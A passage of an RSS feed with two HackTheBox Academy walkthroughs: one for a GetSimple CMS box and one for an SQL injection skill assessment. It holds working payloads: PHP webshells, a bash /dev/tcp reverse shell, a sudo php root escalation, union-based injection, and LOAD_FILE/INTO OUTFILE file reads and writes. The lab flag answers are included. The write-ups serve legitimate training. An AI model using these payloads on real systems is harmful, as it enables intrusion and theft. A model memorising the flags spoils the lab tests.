OpenSSH 8.2p1 on Ubuntu, with RSA, ECDSA, and ED25519 host keys.</li><li><strong>Port 80</strong> — Apache 2.4.41 web server on Ubuntu.</li><li><strong>robots.txt</strong> — Contains one disallowed entry: /admin/.</li><li><strong>HTTP title</strong> — “Welcome to GetSimple! — gettingstarted”, telling us the site is running <strong>GetSimple CMS</strong>.</li><li><strong>OS</strong> — Linux, confirmed by the service info.</li></ul><p>Now we can start with web enumerations &amp; web exploits:</p><p>As seen in the nmap scan, robots.txt exists that contains an entry of admin (disallowed). We can try to visit /admin</p><p><a href="http://10.129.91.73/admin/">http://10.129.91.73/admin/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*5Pv0sOeRHb6ylZYeXdG4wA.png" /></figure><p>After trying some common credentials, I had luck with <strong>admin:admin</strong></p><p>After logging in, we get redirected to:</p><p><a href="http://10.129.91.73/admin/pages.php">http://10.129.91.73/admin/pages.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOBUNtMq3jeIIpnhvbMykg.png" /></figure><p>There are multiple vectors that we can approach.</p><p>One would be searching up for GetSimple CMS Version 3.3.15 exploits (msfconsole offers exploits as well — CVE-2019–11231).</p><p><a href="https://www.exploit-db.com/exploits/46880">https://www.exploit-db.com/exploits/46880</a></p><p>I decided to upload a webshell. First we need to navigate to the Theme page and click on Edit Theme:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*BaQme_QUeZwHLHRgy15TmA.png" /></figure><p>Next step is to edit the Innovation page and add our webshell:</p><pre>&lt;?php system($_REQUEST[&quot;cmd&quot;]); ?&gt;</pre><p>You can just add this line to the top</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*xBqj4ZclpMrTPcjU3WOkBQ.png" /></figure><p>Make sure to save the changes.</p><p>Now we can visit the page and check if our webshell works.</p><p><a href="http://gettingstarted.htb/theme/Innovation/template.php?cmd=id">http://gettingstarted.htb/theme/Innovation/template.php?cmd=id</a></p><p>You can either replace “gettingstarted.htb” with the IP address or resolve the hostname (mapping the hostname to the IP) by adding the following entry to your /etc/hosts file:</p><pre>10.129.91.73    gettingstarted.htb</pre><p>To check if our webshell runs, we search for:</p><p><a href="http://gettingstarted.htb/theme/Innovation/template.php?cmd=id">http://gettingstarted.htb/theme/Innovation/template.php?cmd=id</a></p><p>And we can see that it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*Ykp0fxlmWmbcG_t70Cj59A.png" /></figure><p>To have a more interactive shell, we can run a reverse shell. For this task, I opened burpsuite to intercept our request and replace the “id” command with a reverse shell after sending the request to repeater.</p><p>This command will work:</p><pre>bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.16.176/4444 0&gt;&amp;1&#39;</pre><p>Replace with your tun0 IP and listening port</p><p>But we need to URL encode it.</p><p>Ctrl + U after marking the command or</p><ul><li>Mark the reverse shell command</li><li>right click</li><li>Convert selection -&gt; URL -&gt; URL-Encode key characters</li></ul><pre>bash+-c+&#39;bash+-i+&gt;%26+/dev/tcp/10.10.16.176/4444+0&gt;%261&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*WL5JdBfS6gcbQXDawf2UsQ.png" /></figure><p>Before sending this request, we also need to start our listener:</p><pre>nc -lvnp 4444</pre><p>And we get a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*2usWpDNgjN3j-_FkT2uqyA.png" /></figure><p>Now I decided to upgrade my shell:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Ctrl + z</p><pre>stty raw -echo; fg</pre><pre>export TERM=xterm-256color</pre><p>To answer the question, we can read the user.txt file located at /home/mrb3n</p><pre>cat /home/mrb3n/user.txt</pre><p>Answer:</p><p>7002d65b149b0a4d19132a66feed21d8</p><p>Question 2:</p><h3>After obtaining a foothold on the target, escalate privileges to root and submit the contents of the root.txt flag.</h3><p>To escalate our privileges to root, we can first check what our current user (www-data) is allowed to run.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*0Ejm4zhav5Q01WVWhhxLWQ.png" /></figure><p>It shows us that we can run /usr/bin/php with sudo without providing a password. So we can simply run:</p><pre>sudo /usr/bin/php -r &#39;system(&quot;/bin/bash&quot;);&#39;</pre><p>And we are root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*Av1WGrFa5ithahUn293x8w.png" /></figure><p>The root flag can be read via:</p><pre>cat /root/root.txt</pre><p>Answer:</p><p>f1fba6e9f71efb2630e6e34da6387842</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab7289fa85f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Fundamentals (new version) —  HackTheBox ACADEMY — Skill Assessment Walkthough]]></title>
            <link>https://medium.com/@theV01D/sql-injection-fundamentals-new-version-hackthebox-academy-skill-assessment-walkthough-39b819505f69?source=rss-fcbe6daf2fa4------2</link>
            <guid isPermaLink="false">https://medium.com/p/39b819505f69</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[skill-assessment]]></category>
            <dc:creator><![CDATA[th3V0!D]]></dc:creator>
            <pubDate>Mon, 10 Nov 2025 21:13:35 GMT</pubDate>
            <atom:updated>2026-11-01T23:02:23.575Z</atom:updated>
            <content:encoded><![CDATA[<h4>SQL Injection Fundamentals (new version) — HackTheBox ACADEMY — Skill Assessment Walkthough</h4><p>Since I could not find any walkthroughs for the new skill assessment for this module, I decided to just create one by myself. Enjoy!</p><h3><strong>Question 1:</strong></h3><p><strong>What is the password hash for the user ‘admin’?</strong></p><p>We can try to check for SQL injections on the login.php site by trying to submit some escape characters, but nothing seems to work.</p><p>After some digging around I found out that we can bypass the invitation code when trying to create an account. To do this we need to utilize a proxy such as burpsuite or ZAP.</p><p>We can fill out the form like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhgx_OXFumc-VlF0bkUdVw.png" /></figure><blockquote>hacker : Test1234!</blockquote><p>and capture the request to add our injection:</p><pre>username=hacker&amp;password=Test1234%21&amp;repeatPassword=Test1234%21&amp;invitationCode=aaaa-bbbb-1111&#39; or &#39;1&#39;=&#39;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*lMfq2SDCb7NAbjHQCJygaw.png" /></figure><p>We can see that our account was successfully created!</p><p>And we can log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xzbqr59QLs6jCyCYWbtqLQ.png" /></figure><p>From here there is not much to go with for SQL injections except for the search field. To check out if it is vulnerable I decided to send a text to admin with some bypass characters and try to search them to see if all of them can be found.</p><p>By doing so we can see that we can bypass it by a single quote as there are no results shown when searching for texts with a “ ‘ “ (single quote):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*Whj0Ryncv3bMBe64S-UwHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8zqsGCyLms7V-Nx7cbwKUg.png" /></figure><p>It took some tries to find the correct injection, number of collumns and location of the displayed column, but this Injection worked in the end:</p><pre>admin&#39;) union select 1,2,3,4-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*T5zmXKa43xQJJ473UPAYrg.png" /></figure><p>So we know that the third column is beeing displayed when searching for anything.</p><p>To get to the answer of the question we first need to do some more enumerations:</p><p>DB name:</p><pre>admin&#39;) union select 1,2, database(),4 from INFORMATION_SCHEMA.SCHEMATA-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*2wbDYiOHtW-_3IMV5c3lEA.png" /></figure><p>Tables existing in the chattr database:</p><pre>admin&#39;) union select 1,2, TABLE_NAME,4 from INFORMATION_SCHEMA.TABLES where table_schema=&#39;chattr&#39;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*mORnO8hfVHdvqf8E3Ny9bw.png" /></figure><p>The “Users” table looks promissing, so we can grab its column names:</p><pre>admin&#39;) union select 1,2,COLUMN_NAME,4 from INFORMATION_SCHEMA.COLUMNS where table_name=&#39;Users&#39;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*pGWvgKPFOZxZDhGh5H67NQ.png" /></figure><p>To answer the question we can grab the Password for admin:</p><pre>admin&#39;) union select 1,2,Password,4 from Users where Username=&quot;admin&quot;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*i1TY_1a2cuuBQeC9dZYZwg.png" /></figure><p><strong>Answer</strong>: $argon2i$v=19$m=2048,t=4,p=3$dk4wdDBraE0zZVllcEUudA$CdU8zKxmToQybvtHfs1d5nHzjxw9DhkdcVToq6HTgvU</p><h3>Question 2:</h3><p><strong>What is the root path of the web application?</strong></p><p>We can start by checking out for our current user that is submitting the queries and if we have the “FILE” privilege which will allow us to read and later potentially write to files.</p><pre>admin&#39;) union select 1,2, user(),4 from INFORMATION_SCHEMA.SCHEMATA-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*aMVPwRIxeBKSbjPbt4402g.png" /></figure><p>So we are running as <em>chattr_dbUser@localhost</em></p><p>Checking for the “FILE” privilege:</p><pre>cn &#39;) UNION SELECT 1, 2, privilege_type, grantee FROM information_schema.user_privileges-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*1BMuKSh-UmeXXVU3doZClw.png" /></figure><p>This confirms that we can read files.</p><p>To check if we are on a Linux or Windows machine I decided to try reading the passwd file, which we can find in /etc/passwd on Linux machines.</p><pre>cn &#39; ) UNION SELECT 1 , 2 , LOAD_FILE ( &quot;/etc/passwd&quot; ), 4-- -</pre><p>And indeed we are on a Linux machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*UinOMvFZG3ysbABPusHm0A.png" /></figure><p>My goal from here is to read any config files to find any information regarding the webserver and the website itself. We can try to read the config files for apache and/or nginx on their default locations as we know this is running on Linux.</p><p>I was lucky with nginx:</p><pre>cn &#39; ) UNION SELECT 1 , 2 , LOAD_FILE ( &quot;/etc/nginx/nginx.conf&quot; ), 4-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*iPqysdriYUIr8Y7R9Rtn6A.png" /></figure><p>Based on the output, all config files are beeing loaded into the /etc/nginx/sites-enabled/ directory (you can also ask chatgpt what the output above means). So I decided to use ffuf to FUZZ for files within the directory:</p><p>For that I decided to use burpsuite again to capture a request to a dummy file to that path and just save the request into a file with “FUZZ” added to the location I want to fuzz (in this case /etc/nginx/sites-enabled/FUZZ):</p><p>I captured the following query:</p><pre>cn&#39;) union select 1,2,LOAD_FILE(&#39;/etc/nginx/sites-enabled/test&#39;),4-- -<br>#In Burp replace &quot;test&quot; with &quot;FUZZ&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*pA8AyhXgBbRpNU71rpn28w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*8y0fFsQRlNJp97dCw9KONQ.png" /></figure><pre>ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ -request conf.req -fs 5369</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*VZB746Ity_oU_vQAgrI92A.png" /></figure><p>It did not take long to find “default” present on that path. Let’s see what it contains:</p><pre>cn&#39;) union select 1,2,LOAD_FILE(&#39;/etc/nginx/sites-enabled/default&#39;),4-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*jILOzC_n6O5f3D2VrFCVFw.png" /></figure><p><strong>Answer</strong>: /var/www/chattr-prod</p><h3>Question 3:</h3><p><strong>Achieve remote code execution, and submit the contents of /flag_XXXXXX.txt below.</strong></p><p>Let’s check if in addition of File-read permissions we also have File-write permissions.</p><p>Recalling the requirement list:</p><blockquote>User with <strong>FILE</strong> privilege <strong>enabled</strong><br>MySQL global <strong>secure_file_priv</strong> variable not <strong>enabled</strong><br><strong>Write access</strong> to the <strong>location</strong> we want to write to on the back-end server</blockquote><p>We know we have the FILE privilege enabled for the current user. To check the <em>global secure_file_priv</em> variable, we should first figure out the DBMS we are working with to know what kind of output we should expect when checking for the variable’s value.</p><pre>cn&#39;) union select 1,2,@@version,4-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*iFoIRYkeFxi1Q-85rOoBRg.png" /></figure><p>It is a MariaDB, which means that by default the value should be empty, which means that we have read + write permissions to any file if the FILE privilege is set. So as long as no one changed it, we are good to go.</p><pre>cn &#39;) union select 1,2,variable_value,4 from information_schema.global_variables where variable_name = &quot;secure_file_priv&quot;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*BvXpyb2176Zj_zMP7J3BGQ.png" /></figure><p>And in fact, the return value is empty.</p><p>Let’s go ahead and create a file on the target with our payload:</p><pre>cn &#39;) union select &quot;&quot;, &#39;&lt;?php system($_REQUEST[0]); ?&gt;&#39;,&quot;&quot;,&quot;&quot; into outfile &#39;/var/www/chattr-prod/shell.php&#39;-- -</pre><p>We should now have code execution on <em>https://&lt;IP&gt;:&lt;PORT&gt;/shell.php </em>with “0” as the parameter for code executions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*T-1_I85OQIA99KOya7b4uA.png" /></figure><p>From here it is up to you if you also want to execute a reverse shell for a more interactive shell. However the flag is in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*VfspjI746mpUcqbWo1rKtA.png" /></figure><p><strong>Answer</strong>: 061b1aeb94dec6bf5d9c27032b3c1d8d</p><p>I hope this was helpful and you enjoyed the walkthrough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39b819505f69" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>